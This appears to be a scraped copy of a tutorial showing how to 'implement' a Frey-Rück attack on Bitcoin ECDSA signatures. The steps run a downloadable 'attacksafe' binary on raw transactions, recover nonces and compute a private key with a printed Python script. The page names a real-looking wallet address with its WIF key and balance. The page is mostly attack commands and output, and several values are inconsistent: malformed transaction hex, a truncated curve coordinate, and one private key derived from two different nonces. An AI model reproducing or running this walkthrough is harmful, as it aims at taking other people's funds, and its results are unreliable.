安全软件
点击放大
Frey-Ruck-Attack - Implement Frey-Rück Attack to get the secret key “
项目说明
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/018-1024x576.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-1100"></figure>
---
* Tutorial:
* Tutorial:
---
<p>In this article, we implement an efficient <a href=" target="_blank" rel="noreferrer noopener">Frey-Rück Attack</a> algorithm for signing <code>ECDSA</code>a transaction on the Bitcoin blockchain. In our earlier posts, we touched on the topic of signature several times <code>ECDSA</code>. With a critical in the Bitcoin blockchain transaction, we can solve the rather difficult discrete logarithm problem to extract the <code>ECDSA</code> <em>secret key</em><code>"K" (NONCE)</code> from the signature in order to ultimately restore the Bitcoin Wallet, since knowing the secret key we can get the private key.</p>
<p>To do this, there are several algorithms from <a href=" target="_blank" rel="noreferrer noopener"><strong>the list of popular attacks on Bitcoin</strong></a> , one of which is <strong><a href=" target="_blank" rel="noreferrer noopener">“Frey-Rück Attack on Bitcoin”</a></strong> .</p>
<di="wp-block-image">
<figure class="aligncenter"><a href=" target="_blank" rel="noreferrer noopener"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/001-1.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-613" title="www.attacksafe.ru/frey-ruck-attack-on-bitcoin/"></a><figcaption><br><strong><code>www.attacksafe.ru/frey-ruck-attack-on-bitcoin</code></strong></figcaption></figure></div>
<h4>We will not dive into the theoretical aspects of this attack, we will go straight to the experimental part.</h4>
<p>From our practice, we know that there are a lot of and weak transactions in the Bitcoin blockchain, and in the process of our cryptanalysis, we found a lot of Bitcoin Addresses, where a large number of signatures <code>ECDSA</code>were made with the disclosure of the <em>secret key</em> <code>"K" (NONCE).</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Consider fi Addresses:</h2>
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG</a></strong></p><p><strong><a href=" target="_blank" rel="noreferrer noopener">1HYDQRwXb5</a></strong></p><p><strong><a href=" target="_blank" rel="noreferrer noopener">16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2</a></strong></p><p><strong><a href=" target="_blank" rel="noreferrer noopener">12Pm2muhQKu</a></strong></p><p><strong><a href=" target="_blank" rel="noreferrer noopener">19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac</a></strong></p></blockquote>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Each Bitcoin Address made two critical transactions:</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener"> href=" target="_blank" rel="noreferrer noopener">
<di="wp-block-image">
<figure class="aligncenter"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-1.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-644"></figure></div>
<di="wp-block-image">
<figure class="aligncenter"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-2.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-645"></figure></div>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">1HYDQRwXb5</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener"> href=" target="_blank" rel="noreferrer noopener">
<di="wp-block-image">
<figure class="aligncenter"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-3.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-649"></figure></div>
<di="wp-block-image">
<figure class="aligncenter"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-4.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-651"></figure></div>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener"> href=" target="_blank" rel="noreferrer noopener">
<di="wp-block-image">
<figure class="aligncenter"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-5.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-661"></figure></div>
<di="wp-block-image">
<figure class="aligncenter"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-6.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-663"></figure></div>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">12Pm2muhQKu</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener"> href=" target="_blank" rel="noreferrer noopener">
<di="wp-block-image">
<figure class="aligncenter"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-7.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-667"></figure></div>
<di="wp-block-image">
<figure class="aligncenter"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-8.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-668"></figure></div>
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">19BRiDqZfYxU4K3DCWAfbh925cr7L4Q8ac</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener"> href=" target="_blank" rel="noreferrer noopener">
<di="wp-block-image">
<figure class="aligncenter"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-9.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-673"></figure></div>
<di="wp-block-image">
<figure class="aligncenter"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-10.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-675"></figure></div>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Disclosure of the secret key “K” (NONCE) in the Bitcoin blockchain</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>Open <strong><a href=" target="_blank" rel="noreferrer noopener">[TerminalGoogleColab]</a></strong> .</p>
<p>Implementing an efficient <a href=" target="_blank" rel="noreferrer noopener"><strong>Frey-Rück Attack</strong></a> algorithm with our <a href=" target="_blank" rel="noreferrer noopener"><strong>14FreyRuckAttack repository</strong></a></p>
<pre class="wp-block-code"><code>git clone
cd CryptoDeepTools/14FreyRuckAttack/
ls</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-28-1024x500.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-926"></figure>
<h3>Install all the packages we need</h3>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-11.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-687"><figcaption><strong><code>requirements.txt</code></strong></figcaption></figure>
<pre class="wp-block-code"><code>wget
sudo python2 get-pip.py
pip2 install -r requirements.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-29-1024x560.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-930"></figure>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-30.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-931"></figure>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-31-1024x441.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-933"></figure>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-32-1024x430.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-935"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Prepare RawTX for the attack</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2></h2>
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-13-1024x80.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-696"></figure>
<pre class="wp-block-code"><code>RawTX = 09b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a61e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff0000000046a000
</code></pre>
<h2>Now we need to get all R, S, Z from all transactions</h2>
<p>Let’s use the breakECDSA.py script</p>
<pre class="wp-block-code"><code>python2 breakECDSA.py 09b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a61e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff0000000046a000</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-33-1024x263.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-937"></figure>
<pre class="wp-block-code"><code>R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p class="has-text-align-center"><strong>To implement the attack and get the secret key, we will use the </strong><strong><a href=" target="_blank" rel="noreferrer noopener">“ATTACKSAFE SOFTWARE” software</a></strong></p>
<di="wp-block-image">
<figure class="aligncenter"><a href=" target="_blank" rel="noreferrer noopener"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-14.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-705"></a><figcaption><strong><code>www.attacksafe.ru/software</code></strong></figcaption></figure></div>
<h2>Access rights:</h2>
<pre class="wp-block-code"><code>chmod +x attacksafe</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-34.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-940"></figure>
<h2>Application:</h2>
<pre class="wp-block-code"><code>./attacksafe -help</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-35.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-943"></figure>
<pre class="wp-block-code"><code> -: software
-list: list of bitcoin attacks
-tool: indicate the attack
-gpu: enable gpu
-time: work timeout
-server: server mode
-port: server port
-open: open file
-save: save file
-search: search
-stop: stop at mode
-max: maximum quantity in mode
-min: minimum quantity per mode
-speed: boost speed for mode
-range: specific range
-crack: crack mode
-field: starting field
-point: starting point
-inject: injection regimen
-decode: decoding mode</code></pre>
<pre class="wp-block-code"><code>./attacksafe -</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-37.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-948"></figure>
<p><code>"ATTACKSAFE SOFTWARE"</code>includes all popular attacks on Bitcoin.</p>
<h2>Let’s run a list of all attacks:</h2>
<pre class="wp-block-code"><code>./attacksafe -list</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-38-1024x602.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-951"></figure>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-39-1024x602.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-954"></figure>
<p>then choose<code> -tool: frey_ruck_attack</code></p>
<p>To get the secret key from a ECDSA signing transaction, let’s add the data <code>RawTX</code>to a text document and save it as a file<code>RawTX.txt</code></p>
<pre class="wp-block-code"><code>09b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a61e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff0000000046a000</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Launch <code>-tool frey_ruck_attack</code>using software<code>“ATTACKSAFE SOFTWARE”</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>./attacksafe -tool frey_ruck_attack -open RawTX.txt -sa.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-42-1024x261.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-963"></figure>
<p>We launched this attack from <code>-tool frey_ruck_attack</code>and the result was saved to a file<code>SecretKey.txt</code></p>
<p>Now to see the successful result, open the file<code>SecretKey.txt</code></p>
<pre class="wp-block-code"><code>cat SecretKey.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-43-1024x487.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-965"></figure>
<pre class="wp-block-code"><code>Deployments ECDSA:
SecretKey = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
RawTX = 09b576edb0e0bf62082a30ff974d04080bfadb4dd9154f4e8949ea8da4c15182c0000006a61e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff0220649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff0000000046a000</code></pre>
<p>We see an inscription <code>"Deployments ECDSA"</code>that means a critical in the Bitcoin blockchain transaction.</p>
<p><code>SecretKey value in HEX format, this is our secret key "K" (NONCE):</code></p>
<p><code>K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s check with a <em>Python</em> script<code>point2gen.py</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>To do this, install the <a href=" target="_blank" rel="noreferrer noopener"><strong>ECPy</strong></a> elliptic cur :</p>
<pre class="wp-block-code"><code>pip3 install ECPy</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-44-1024x335.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-968"></figure>
<p>Now let’s run the script by specifying <code>secret key "K" (NONCE)</code>:</p>
<pre class="wp-block-code"><code>python3 point2gen.py 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-45-1024x106.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-971"></figure>
<p><code>(0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)</code></p>
<p>Checking the coordinates of a point <code>EC (secp256k1) </code>with a signature value<code>R</code></p>
<pre class="wp-block-code"><code>R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
point2gen = (0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff , 0x92718ef50eb3f5eb155a244e371194fb5086e58f1d174e88cda0a60a2ed899f7)
</code></pre>
<p><code>ALL CORRECT!</code></p>
<p><code>K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3</code></p>
<p>Now knowing the secret key, we can get the private key to the Bitcoin Wallet:<code>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s use the <em>Python</em> script: <code>calculate.py</code> > > > Get the Private Key</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>Let’s open the code and add all the value of the signatures<code><strong>K, R, S, Z</strong></code></p>
<pre class="wp-block-code"><code>def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0xf99718ec8df44d695daa9eedd2b3cbe29d8a14a3fc026baeb279afe47c709de3
R = 0x061e5f5c2bc146cd5070cdef9cd2376a0b2fbbdbbda698858a38190d06caf1ff
S = 0x649db1b4fbaaba2d0669f7f7635157b273146b064248d04e76c25d41971d99a1
Z = 0xb8e936d143c8733bb1ede19146f8725fee1d10bfc19e14452a51cef0cb0014d8
print (h((((S * K) - Z) * modinv(R,N)) % N))</code></pre>
<h2>The script will calculate the private key using the formula:</h2>
<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)</code></p>
<p>Let’s run the script:</p>
<pre class="wp-block-code"><code>python3 calculate.py</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-48.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-978"></figure>
<p><code>PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766</code></p>
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Let’s open bitaddress</a></strong> and check:</p>
<pre class="wp-block-code"><code>ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF: KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
HEX: 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/002.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-755"></figure>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href="
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><code>Private Key Found!</code></p>
<figure class="wp-block-image"><a href=" target="_blank" rel="noreferrer noopener"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-16-1024x449.png" alt="Implementing the Frey-Rück Attack to get the secret key "K" (NONCE) from the ECDSA signature when the bitcoin blockchain transaction is critically " class="wp-image-781"></a><figcaption><code><strong>www.blockchain.com/btc/address/16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG</strong></code></figcaption></figure>
<p><code>BALANCE: $ 711.37</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><em>The potential threat of losing BTC coins lies in the critical of the Bitcoin blockchain transaction, so we strongly recommend that e always update the software and use only devices.</em></p></blockquote>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>With detailed cryptanalysis, we also found a critical in <a href=" target="_blank" rel="noreferrer noopener"><strong>81384edbf408aa3386ae25819c7b14c89d69e36250059f2399128</strong></a> for the same Bitcoin Address<strong><code> TXID:</code></strong><a href=" target="_blank" rel="noreferrer noopener"><strong></strong></a></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Prepare RawTX for the attack</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<blockquote class="wp-block-quote"><p><strong><a href=" target="_blank" rel="noreferrer noopener">16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG</a></strong></p><p><a href=" target="_blank" rel="noreferrer noopener">
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-15-1024x97.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-771"></figure>
<pre class="wp-block-code"><code>RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f6b3af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff0000000046a000
</code></pre>
<h2>Now we need to get all R, S, Z from all transactions</h2>
<p>Let’s use the breakECDSA.py script</p>
<pre class="wp-block-code"><code>python2 breakECDSA.py 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f6b3af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff0000000046a000
</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-47-1024x243.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-975"></figure>
<pre class="wp-block-code"><code>R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>To get the secret key from a ECDSA signing transaction, let’s add the data <code>RawTX</code>to a text document and save it as a file<code>RawTX.txt</code></p>
<pre class="wp-block-code"><code>01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f6b3af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff0000000046a000</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Launch <code>-tool frey_ruck_attack</code>using software<code>“ATTACKSAFE SOFTWARE”</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>./attacksafe -tool frey_ruck_attack -open RawTX.txt -sa.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-49-1024x318.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-980"></figure>
<p>We launched this attack from <code>-tool frey_ruck_attack</code>and the result was saved to a file<code>SecretKey.txt</code></p>
<p>Now to see the successful result, open the file<code>SecretKey.txt</code></p>
<pre class="wp-block-code"><code>cat SecretKey.txt</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-51-1024x484.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-986"></figure>
<pre class="wp-block-code"><code>Deployments ECDSA:
SecretKey = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
RawTX = 01000000011c2b74d4b3ccdd96201841bce8931efa4b40c0dcd11ce52bafe3167bc5c7f6b3af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644022100a66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a012103f3b587144f038f7fd504eaebb2159ad97c0ca33c3cbaf7f3899849a9e2c9074bffffffff0000000046a000</code></pre>
<p>We see an inscription <code>"Deployments ECDSA"</code>that means a critical in the Bitcoin blockchain transaction.</p>
<p><code>SecretKey value in HEX format, this is our secret key "K" (NONCE):</code></p>
<p><code>K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s check with a <em>Python</em> script<code>point2gen.py</code></h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p><a href=" target="_blank" rel="noreferrer noopener"><strong>Let’s use the ECPy</strong></a> elliptic cur :</p>
<p>Now let’s run the script by specifying <code>secret key "K" (NONCE)</code>:</p>
<pre class="wp-block-code"><code>python3 point2gen.py 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-52-1024x93.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-989"></figure>
<p><code>(0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc58c09d36bf12ce2a9d369fc)</code></p>
<p>Checking the coordinates of a point <code>EC (secp256k1) </code>with a signature value<code>R</code></p>
<pre class="wp-block-code"><code>R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de</code></pre>
<hr class="wp-block-separator has-alpha-channel-opacity">
<pre class="wp-block-code"><code>R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
point2gen = (0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644 , 0xa60ac25dfd96acce7456b5c16c8fcc58c09d36bf12ce2a9d369fc)
</code></pre>
<p><code>ALL CORRECT!</code></p>
<p><code>K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226</code></p>
<p>Now knowing the secret key, we can get the private key to the Bitcoin Wallet:<code>16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG</code></p>
<hr class="wp-block-separator has-alpha-channel-opacity">
<h2>Let’s use the <em>Python</em> script: <code>calculate.py</code> > > > Get the Private Key</h2>
<hr class="wp-block-separator has-alpha-channel-opacity">
<p>Let’s open the code and add all the value of the signatures<code><strong>K, R, S, Z</strong></code></p>
<pre class="wp-block-code"><code>def h(n):
return hex(n).replace("0x","")
def extended_gcd(aa, bb):
lastremainder, remainder = abs(aa), abs(bb)
x, lastx, y, lasty = 0, 1, 1, 0
while remainder:
lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
x, lastx = lastx - quotient*x, x
y, lasty = lasty - quotient*y, y
return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)
def modinv(a, m):
g, x, y = extended_gcd(a, m)
if g != 1:
raise
return x % m
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
K = 0x80ae47bd5353515bc5c39bad5a9ac124b0be808260bbaf1cda1458a078f0c226
R = 0x03af10d2cd5db13bacedc903c00a76d93d1e1749fff30d030bdf13ead615e644
S = 0xa66c5b518e61b1dd3b9e27068bcd5286d32690023fa69b845972e4b09800ac8a
Z = 0xb6d536f025718d424e97ea40e0a86eb32f3f7d3673c4d0decb1a71466235d4de
print (h((((S * K) - Z) * modinv(R,N)) % N))</code></pre>
<h2>The script will calculate the private key using the formula:</h2>
<p><code>Privkey = ((((S * K) - Z) * modinv(R,N)) % N)</code></p>
<p>Let’s run the script:</p>
<pre class="wp-block-code"><code>python3 calculate.py</code></pre>
<figure class="wp-block-image"><img src="./Implement Frey-Rück Attack to get the secret key_K_NONCE_files/image-53.png" alt="Implement Frey-Rück Attack to get the secret key "K" (NONCE)" class="wp-image-991"></figure>
<p><code>PrivKey = 4faa01f7409813181fb5ae8d352796b791cd9df4ba0650df7008f5d9d6be8766</code></p>
<p><strong><a href=" target="_blank" rel="noreferrer noopener">Let’s open bitaddress</a></strong> and check:</p>
<pre class="wp-block-code"><code>ADDR: 16DCNX182FdnKxsDqNt4k6AMZGb1BHDzgG
WIF: KytZsDHWSqKo9YuWTxwmM5D4g511TsLubF3pF7WgXfg3MTG1GfKa
